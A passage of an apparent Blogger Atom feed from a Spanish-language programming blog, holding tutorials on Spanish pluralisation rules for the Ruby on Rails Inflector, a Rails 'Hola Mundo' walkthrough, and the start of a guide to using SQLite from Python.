href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7328631362641079881'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/07/imageshack-hackeado.html' title='Imageshack hackeado!'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oLUxtmo5LIU/SlgLavYOGwI/AAAAAAAAAPI/LiORrpVtbBI/s72-c/Pantallazo.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3005176853807635144</id><published>2009-06-22T07:50:00.000-07:00</published><updated>2009-06-22T15:14:06.713-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><title type='text'>Ruby on Rails Inflector en español</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;El módulo Inflectors de Ruby on Rails transforma palabras de singular a plural, nombres de clases a nombres de tablas, nombres de clases a claves foráneas, entre otros. Sin embargo éste módulo no soporta pluralización en español. &lt;br /&gt;&lt;br /&gt;Si quieremos reemplazar la pluralización que trae por defecto Rails (inglés) y crear la nuestra en español solo debemos agregar estas reglas al final del archivo &lt;strong&gt;config/environment.rb&lt;/strong&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;# Limpiamos todas las inflecciones existentes&lt;br /&gt;Inflector.inflections.clear&lt;br /&gt;&lt;br /&gt;# Agregamos las reglas de inflección&lt;br /&gt;Inflector.inflections do |inflect|&lt;br /&gt;  inflect.plural /([taeiou])([A-Z]|_|\$)/, '\1s\2'&lt;br /&gt;  inflect.plural /([rlnd])([A-Z]|_|$)/, '\1es\2'&lt;br /&gt;  inflect.singular /([taeiou])s([A-Z]|_|$)/, '\1\2'&lt;br /&gt;  inflect.singular /([rlnd])es([A-Z]|_|$)/, '\1\2'&lt;br /&gt;end&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;La primera regla dice algo como: &lt;em&gt;"Todas las palabras que terminen en t, a, e, i, o, u y que luego tengan una letra mayúscula, un underscore o un fin de línea entonces se pluralizan con S"&lt;/em&gt;, mientras que la segunda regla dice: &lt;em&gt;"Todas las palabras que terminen en r, l, n, d y que luego tengan una letra mayúscula, un underscore o un fin de línea entonces se pluralizan con ES"&lt;/em&gt;. Las reglas tres y cuatro se interpretan siguiendo el mismo criterio pero de forma inversa. Así, "casa" se pluraliza como "casas" y "canción" se pluraliza como "canciones".&lt;br /&gt;&lt;br /&gt;Dejaré como tarea para el lector estudiar de manera detallada las expresiones regulares usadas en las reglas, pero les dejaré una pista: &lt;br /&gt;&lt;blockquote&gt;Es necesario recordar que en una expresión regular los paréntesis son signos de agrupación y cada expresión entre paréntesis corresponde a un grupo. Se puede hacer referencia a la expresión asociada a un grupo mediante una barra invertida "\" y el número del grupo. Es por eso que en la expresión regular del Inflector se usa el \1 y el \2&lt;/blockquote&gt;&lt;br /&gt;Con el código anterior ya tenemos configurada nuestra pluralización en español. Podemos probarla agregando el código a un proyecto existente y abriendo una consola de Rails:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;$ cd proyecto_existente_de_rails&lt;br /&gt;$ script/console&lt;br /&gt;Loading development environment.&lt;br /&gt;&gt;&gt;'prueba'.pluralize&lt;br /&gt;=&gt; "pruebas"&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Observamos que ahora el string 'prueba' está en plural. Sin embargo existe un bug en la versión 1.2.6 de Rails (quizás esté corregido en las versiones posteriores pero aún no lo he confirmado) y es que si intentamos pluralizar un string que contenga expresiones que cumplan ambos patrones del inflector entonces obtendremos una sola palabra pluralizada, por ejemplo:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&gt;&gt;'prueba_cancion'.pluralize&lt;br /&gt;=&gt; "prueba_canciones"&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Se debe extender la clase &lt;strong&gt;Inflector&lt;/strong&gt; y modificar los métodos pluralize y singularize. El código lo podemos insertar en el mismo archivo &lt;strong&gt;config/environment.rb&lt;/strong&gt; y sería algo como:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;# Extender la clase Inflector&lt;br /&gt;module Inflector&lt;br /&gt;  def pluralize(word)&lt;br /&gt;    result = word.to_s.dup&lt;br /&gt;&lt;br /&gt;    if word.empty? || inflections.uncountables.include?(result.downcase)&lt;br /&gt;      result&lt;br /&gt;    else&lt;br /&gt;      inflections.plurals.each { |(rule, replacement)| result.gsub!(rule, replacement) }&lt;br /&gt;      result&lt;br /&gt;    end&lt;br /&gt;  end&lt;br /&gt;  &lt;br /&gt;  def singularize(word)&lt;br /&gt;    result = word.to_s.dup&lt;br /&gt;    if inflections.uncountables.include?(result.downcase)&lt;br /&gt;      result&lt;br /&gt;    else&lt;br /&gt;      inflections.singulars.each { |(rule, replacement)| result.gsub!(rule, replacement) }&lt;br /&gt;      result&lt;br /&gt;    end&lt;br /&gt;  end&lt;br /&gt;end&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Si revisamos el código fuente de los métodos &lt;a href="http://api.rubyonrails.org/classes/Inflector.html#M001627"&gt;pluralize&lt;/a&gt; y &lt;a href="http://api.rubyonrails.org/classes/Inflector.html#M001628"&gt;singularize&lt;/a&gt; veremos que la diferencia está en la instrucción &lt;strong&gt;break if&lt;/strong&gt; en las líneas 112 y 132 respectivamente:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;112:   inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }&lt;br /&gt;...&lt;br /&gt;132:   inflections.singulars.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Solo debemos eliminar ese par de instrucciones para que entonces la regla sea aplicable a más de un patrón al mismo tiempo.&lt;br /&gt;&lt;br /&gt;Por los momentos es todo. Espero sea de utilidad este pequeño pero interesante tip&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3005176853807635144?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3005176853807635144/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3005176853807635144&amp;isPopup=true' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3005176853807635144'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3005176853807635144'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/06/ruby-on-rails-inflector-en-espanol.html' title='Ruby on Rails Inflector en español'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-4161740068014188831</id><published>2009-04-21T06:42:00.000-07:00</published><updated>2009-04-22T18:20:05.653-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><title type='text'>La Aventura de Ruby on Rails (Parte 3): Hola Mundo</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;Con la instalación de Rails obtenemos un nuevo comando de consola, &lt;strong&gt;rails&lt;/strong&gt;, que se usa para construir una nueva aplicación web.&lt;br /&gt;&lt;br /&gt;Se preguntarán: ¿Por qué demonios necesito un comando para crear un nuevo proyecto? o quizás digan: Soy un programador que dobla cucharas con la mente ¿Por qué no puedo crear mi proyecto desde cero usando mi editor de texto favorito? Bueno, de hecho, sí se puede crear un proyecto de Rails usando solo un editor de texto y algunos directorios, pero resulta que el comando rails hace un montón de magia tras la cortina para que nuestra aplicación trabaje &lt;em&gt;OUT OF THE BOX&lt;/em&gt; con la mínima configuración explícita. Es importante resaltar que la filosofía de Rails es &lt;strong&gt;"Convención sobre Configuración"&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;Además de toda la magia para evitar la configuración, Rails tiene una estructura de directorios muy interesante y cada uno tiene una función bien definida. La imagen a continuación muestra la estructura de un proyecto llamado &lt;strong&gt;test&lt;/strong&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oLUxtmo5LIU/Se-LSIK_JqI/AAAAAAAAAM4/2o2x1pbA7Cc/s1600-h/rails-dirs.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 147px; height: 320px;" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/Se-LSIK_JqI/AAAAAAAAAM4/2o2x1pbA7Cc/s320/rails-dirs.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5327630027750057634" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;app:&lt;/strong&gt; Contiene los archivos de Modelo, Vista y Controlador&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;components:&lt;/strong&gt; Almacena los componentes reutilizables&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;controllers:&lt;/strong&gt; Guarda todos los controladores&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;helpers:&lt;/strong&gt; Almacena modulos utilitarios de las vistas&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;models:&lt;/strong&gt; Contiene todos los modelos&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;views:&lt;/strong&gt; Almacena todas las vistas&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;config:&lt;/strong&gt; Guarda toda la información de configuración del proyecto y los parametros de conexión a la base de datos&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;db:&lt;/strong&gt; Contiene la información de los esquemas y de las migraciones de la base de datos&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;doc:&lt;/strong&gt; Almacena la documentación autogenerada&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;lib:&lt;/strong&gt; Aloja todo el código que no pertenece exclusivamente a la aplicación (plugins, etc)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;log:&lt;/strong&gt; Almacena los reportes producidos por la aplicación (y por el framework)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;public:&lt;/strong&gt; Es la cara externa de la aplicación. El servidor web lo toma como directorio base  de la aplicación y lo accesible desde el navegador.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;script:&lt;/strong&gt; Guarda todos los scripts utilitarios de Rails&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;test:&lt;/strong&gt; Contiene los test unitarios, test funcionales, mocks y fixtures&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;tmp:&lt;/strong&gt; Almacena los archivos temporales de sesiones, cache y cookies&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;vendor:&lt;/strong&gt; Cumple la misma función que lib pero para el código de terceras partes&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Lo que realmente nos interesa por los momentos es la carpeta app y todo su contenido; ahí es donde ocurrirá toda la diversión xD&lt;br /&gt;&lt;br /&gt;Vamos a crear entonces nuestra primera aplicación de prueba para demostrar los conceptos básicos. Abrimos un terminal y navegamos hasta el directorio donde queremos crear el proyecto, luego ejecutamos:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;$ rails test&lt;br /&gt;      create  &lt;br /&gt;      create  app/controllers&lt;br /&gt;      create  app/helpers&lt;br /&gt;      create  app/models&lt;br /&gt;        ..         ..&lt;br /&gt;        ..         ..&lt;br /&gt;      create  log/production.log&lt;br /&gt;      create  log/development.log&lt;br /&gt;      create  log/test.log&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Ese comando crea el directorio &lt;strong&gt;test&lt;/strong&gt; con toda la parafernalia y la magia de Rails (directorios, configuraciones, etc). Probemos ahora el script utilitario &lt;strong&gt;server&lt;/strong&gt; para cargar &lt;a href="http://en.wikipedia.org/wiki/WEBrick"&gt;WEBrick&lt;/a&gt; (un servidor web que trae Ruby por defecto) y verificar que todo está en orden.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ ruby script/server&lt;br /&gt;=&gt; Booting WEBrick...&lt;br /&gt;=&gt; Rails application started on http://0.0.0.0:3000&lt;br /&gt;=&gt; Ctrl-C to shutdown server; call with --help for options&lt;br /&gt;[2009-04-21 11:37:30] INFO  WEBrick 1.3.1&lt;br /&gt;[2009-04-21 11:37:30] INFO  ruby 1.8.7 (2008-08-11) [i486-linux]&lt;br /&gt;[2009-04-21 11:37:30] INFO  WEBrick::HTTPServer#start: pid=5199 port=3000&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Vamos a nuestro navegador favorito y accedemos a la aplicación con la ruta &lt;strong&gt;http://localhost:3000&lt;/strong&gt;. WEBrick usa por defecto el puerto 3000 pero podemos cambiarlo al puerto de nuestra preferencia ejecutando el &lt;strong&gt;server&lt;/strong&gt; con el parámetro -p y el número del puerto, por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ ruby script/server -p 8080&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oLUxtmo5LIU/Se-LSSkzo-I/AAAAAAAAANA/LSQ8FHSWLJI/s1600-h/welcome.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 262px;" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/Se-LSSkzo-I/AAAAAAAAANA/LSQ8FHSWLJI/s320/welcome.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5327630030542709730" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Rails es un framework netamente MVC y como tal se basa en un flujo de información de un componente a otro. Primero acepta la solicitud proveniente de un navegador, decodifica la petición para encontrar el controlador y llama una acción de ese controlador. El controlador entonces invoca una vista particular para mostrar el resultado de vuelta al usuario.&lt;br /&gt;&lt;br /&gt;Para crear nuestro &lt;strong&gt;Hola Mundo&lt;/strong&gt; necesitamos un controlador y una vista. No hace falta un modelo ya que no estaremos trabajando con ningún tipo de datos.&lt;br /&gt;&lt;br /&gt;Así como usamos el comando &lt;strong&gt;rails&lt;/strong&gt; para generar el proyecto, usaremos el script &lt;strong&gt;generate&lt;/strong&gt; para crear un controlador. Supongamos que queremos llamar a nuestro controlador &lt;strong&gt;Prueba&lt;/strong&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;$ ruby script/generate controller Prueba&lt;br /&gt;      exists  app/controllers/&lt;br /&gt;      exists  app/helpers/&lt;br /&gt;      create  app/views/prueba&lt;br /&gt;      exists  test/functional/&lt;br /&gt;      create  app/controllers/prueba_controller.rb&lt;br /&gt;      create  test/functional/prueba_controller_test.rb&lt;br /&gt;      create  app/helpers/prueba_helper.rb&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;      &lt;br /&gt;El controlador se ha creado en &lt;strong&gt;app/controllers/prueba_controller.rb&lt;/strong&gt;. Si examinamos el código fuente veremos algo como:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;class PruebaController &lt; ApplicationController&lt;br /&gt;end&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;El controlador es bastante simple, una clase &lt;strong&gt;PruebaController&lt;/strong&gt; que hereda de &lt;strong&gt;ApplicationController&lt;/strong&gt; y por consiguiente tiene todos sus métodos. Es importante resaltar que Rails usa una convención de nombres que poco a poco iremos conociendo, por ejemplo para los nombres de las clases usa el estilo &lt;a href="http://es.wikipedia.org/wiki/CamelCase"&gt;CamelCase&lt;/a&gt;, para los nombres de los métodos usa minúsculas separadas por guión bajo y así sucesivamente. &lt;br /&gt;&lt;br /&gt;Ahora nos toca personalizar un poco nuestra nueva clase; agreguemos una acción llamada &lt;strong&gt;saludar&lt;/strong&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;class PruebaController &lt; ApplicationController&lt;br /&gt;  def saludar&lt;br /&gt;  end&lt;br /&gt;end&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Por los momentos la acción &lt;strong&gt;saludar&lt;/strong&gt; no hará nada porque la tarea del controlador es preparar el terreno y la información para que la vista sepa qué mostrar. En esta aplicación no hay nada que preparar, así que una acción vacía será más que suficiente.&lt;br /&gt;&lt;br /&gt;Veamos como acceder a esta nueva acción. Rails asocia las URL con la aplicación; la primera parte de la URL identifica la aplicación, la siguiente el controlador y la última la acción a invocar. El siguiente ejemplo ilustra mejor:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh5.ggpht.com/_oLUxtmo5LIU/Se-LSguPEPI/AAAAAAAAANY/3Mt-KROoe5c/link.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 132px;" src="http://lh5.ggpht.com/_oLUxtmo5LIU/Se-LSguPEPI/AAAAAAAAANY/3Mt-KROoe5c/link.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5327630030542709730" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Si vamos a esa URL en nuestro navegador veremos una página como la siguiente:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/Se-LSqB_nDI/AAAAAAAAANQ/FCjAgbOTkC0/s1600-h/template-missing.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 260px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/Se-LSqB_nDI/AAAAAAAAANQ/FCjAgbOTkC0/s320/template-missing.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5327630036839144498" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;No hay que alarmarse por el error, se debe a que hemos definido un controlador con una acción pero no hemos creado una vista. Las vistas deben ir asociadas con las acciones del controlador y se almacenan en el directorio &lt;strong&gt;app/views&lt;/strong&gt;. Allí deberiamos tener un directorio por cada controlador creado y dentro de esos directorios van las vistas de cada acción. En este caso debemos crear una vista llamada &lt;strong&gt;saludar.rhtml&lt;/strong&gt; dentro del directorio &lt;strong&gt;app/views/prueba&lt;/strong&gt;. El código fuente de esa vista debería ser algo como:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;  &amp;lt;head&amp;gt;&lt;br /&gt;    &amp;lt;title&amp;gt;Hola Mundo&amp;lt;/title&amp;gt;&lt;br /&gt;  &amp;lt;/head&amp;gt;&lt;br /&gt;  &amp;lt;body&amp;gt;&lt;br /&gt;    &amp;lt;h1&amp;gt;Hola Mundo! desde Rails&amp;lt;/h1&amp;gt;&lt;br /&gt;  &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Intentemos de nuevo abrir la dirección &lt;strong&gt;http://locahost:3000/prueba/saludar&lt;/strong&gt; en nuestro navegador y voilá! Ahora si tenemos una vista =D&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/Se-Md0WOzcI/AAAAAAAAANg/FTo16LKjDqc/s1600-h/hola-mundo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 260px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/Se-Md0WOzcI/AAAAAAAAANg/FTo16LKjDqc/s320/hola-mundo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5327631328098569666" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hasta el momento nuestra página es vulgar y aburrida... vamos a cambiar esa situación; ¡agreguemos contenido más dinámico!&lt;br /&gt;&lt;br /&gt;Una de las formas más simples de añadir contenido dinámico a una vista es incrustando código Ruby &lt;strike&gt;al más puro estilo PHP&lt;/strike&gt;. Las vistas deben tener extensión &lt;strong&gt;.rhtml&lt;/strong&gt;, porque de esa forma le indicamos a Rails que ese archivo debe ser interpretado usando el sistema ERb (de Embbeded Ruby). &lt;br /&gt;&lt;br /&gt;Todo el contenido escrito en HTML es pasado al navegador directamente pero el contenido que esté encerrado entre los símbolos &lt;strong&gt;&amp;lt;%=&lt;/strong&gt; y &lt;strong&gt;%&amp;gt;&lt;/strong&gt; es intrepetado y ejecutado como código Ruby. El resultado de esa ejecución se convierte a cadena de texto y se reemplaza &lt;em&gt;in situ&lt;/em&gt; por la secuencia anterior para entonces generar una salida HTML pura hacía el navegador.&lt;br /&gt;&lt;br /&gt;Aclarado ese punto pasemos al controlador para preparar la información que mostrará la vista. Calculemos, por ejemplo, la hora actual agregando unas líneas al controlador. El código debería quedar así:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;class PruebaController &lt; ApplicationController&lt;br /&gt;  def saludar&lt;br /&gt;    t = Time.now&lt;br /&gt;    @time = t.strftime('%H:%m:%S')&lt;br /&gt;  end&lt;br /&gt;end&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Y ahora actualizamos la vista para que muestre la variable &lt;strong&gt;@time&lt;/strong&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;  &amp;lt;head&amp;gt;&lt;br /&gt;    &amp;lt;title&amp;gt;Hola Mundo!&amp;lt;/title&amp;gt;&lt;br /&gt;  &amp;lt;/head&amp;gt;&lt;br /&gt;  &amp;lt;body&amp;gt;&lt;br /&gt;    &amp;lt;h1&amp;gt;Hola Mundo! desde Rails&amp;lt;/h1&amp;gt;&lt;br /&gt;    &amp;lt;p&amp;gt;Son las &amp;lt;%= @time %&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;  &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Ruby suele definir las variables de una clase con una arroba (@) al comienzo del nombre. Para enviar contenido a la vista usamos estas variables de instancia del controlador, pero... ¿Cómo puede la vista leer una variable que es privada del controlador? Pues sencillo, Rails hace una de David Cooperfield para que la vista pueda leer a la fulana variable xD.&lt;br /&gt;&lt;br /&gt;Sin más preámbulo, nuestra aplicación debería verse así:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/Se-Md9PqpGI/AAAAAAAAANo/cOiT1b2S7xA/s1600-h/hola-mundo-hora.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 260px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/Se-Md9PqpGI/AAAAAAAAANo/cOiT1b2S7xA/s320/hola-mundo-hora.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5327631330486953058" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Esta página no es la madre del dinamismo pero al menos cambiará con cada actualización xD&lt;br /&gt;&lt;br /&gt;Aquí termina el Hola Mundo. Más adelante estaré publicando una aplicación un poco más elaborada donde se use una base de datos e interactuemos con los modelos.&lt;br /&gt;&lt;br /&gt;Cambio y fuera.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-4161740068014188831?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/4161740068014188831/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=4161740068014188831&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4161740068014188831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4161740068014188831'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/04/la-aventura-de-ruby-on-rails-parte-3.html' title='La Aventura de Ruby on Rails (Parte 3): Hola Mundo'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oLUxtmo5LIU/Se-LSIK_JqI/AAAAAAAAAM4/2o2x1pbA7Cc/s72-c/rails-dirs.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-6372545136767288052</id><published>2009-04-12T08:02:00.000-07:00</published><updated>2009-04-12T11:23:57.135-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='Bases de Datos'/><title type='text'>Cómo usar SQLite en Python</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a href="http://es.wikipedia.org/wiki/SQLite"&gt;SQLite&lt;/a&gt; (para los que no la conocen) es una pequeña librería que nos permite manejar bases de datos relacionales y transaccionales, sin necesidad de servidor, sin configuración y almacenadas en un solo archivo en la máquina host. &lt;br /&gt;&lt;br /&gt;En otras palabras, nuestra base de datos no es más que un archivo almacenado localmente al que nuestra aplicación tendrá acceso mediante llamadas a las rutinas de la librería &lt;strike&gt;como en los viejos tiempos&lt;/strike&gt;. Symbian, Mozilla, Bloomberg y Adobe son solo algunos &lt;strike&gt;pequeños&lt;/strike&gt; usuarios de esta poderosa librería.&lt;br /&gt;&lt;br /&gt;Este tutorial está desarrollado usando Debian Squeeze (testing), Python 2.5.4 y SQLite 3. Empezamos por instalar los paquetes necesarios:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude install python-pysqlite2 sqlitebrowser&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Pysqlite2 es un binding de SQLite para python y el sqlitebrowser es una aplicación que nos permitirá administrar la base de datos. Ejecutamos el browser desde un terminal:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ sqlitebrowser&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SeIQkIpneTI/AAAAAAAAAL8/KW8Qj39Vk5w/s1600-h/sqlitebrowser.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 252px;" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SeIQkIpneTI/AAAAAAAAAL8/KW8Qj39Vk5w/s320/sqlitebrowser.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5323835922488719666" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Vamos al menú &lt;strong&gt;File -&gt; New Database&lt;/strong&gt; para crear una nueva base de datos, le indicamos la ruta y el nombre, para nuestro ejemplo será &lt;strong&gt;test.db&lt;/strong&gt;. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oLUxtmo5LIU/SeIQkLUApCI/AAAAAAAAAME/nfb1tE3ycCQ/s1600-h/newdb.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 252px;" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/SeIQkLUApCI/AAAAAAAAAME/nfb1tE3ycCQ/s320/newdb.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5323835923203400738" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Luego, vamos al menú &lt;strong&gt;Edit -&gt; Create Table&lt;/strong&gt; y creamos una nueva tabla llamada &lt;strong&gt;Usuarios&lt;/strong&gt; con los siguientes campos:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;id -&gt; INTEGER PRIMARY KEY&lt;br /&gt;nombre -&gt; TEXT&lt;br /&gt;edad -&gt; 